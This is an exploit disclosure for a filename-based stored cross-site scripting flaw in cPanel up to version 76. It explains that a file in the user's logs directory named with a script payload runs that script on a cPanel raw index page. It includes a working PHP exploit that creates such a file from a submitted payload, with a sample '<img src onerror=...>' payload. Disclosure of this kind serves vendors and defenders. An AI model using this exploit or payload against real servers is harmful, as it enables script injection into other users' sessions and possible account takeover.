[+] Title: cPanel Filename Based Stored XSS <= v76
[+] Author: Numan OZDEMIR
[+] Vendor Homepage: cpanel.com
[+] Version: Up to v76.
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
[+] root@numanozdemir.com - info@infinitumit.com.tr
[~] Description:
Attacker can run JavaScript codes on this page:
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html
[~] How to Reproduce:
Create a file as named with your payload in /home/user/logs directory
or run this php exploit:
<center>
<?php
$p = $_POST['payload'];
$x = get_current_user();
$dir = "/home/".$x."/logs/";
if($_POST){
if(touch($dir.$p)){
die('
Successfully exploited. Visit <br>
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html
');
}else{
die('An error occured.');
}
}else{
echo 'Enter your payload:
<form action="" method="post"><input type="text" name="payload" placeholder="<img src onerror=alert(2)>">
<input type="submit" value=">>"></form>';
}
// end of the script.
?>
Note: You cant create a file as named with / (slash) character by this exploit.
This vulnerability is disclosed by cPanel Team's confirmation.
// for secure days...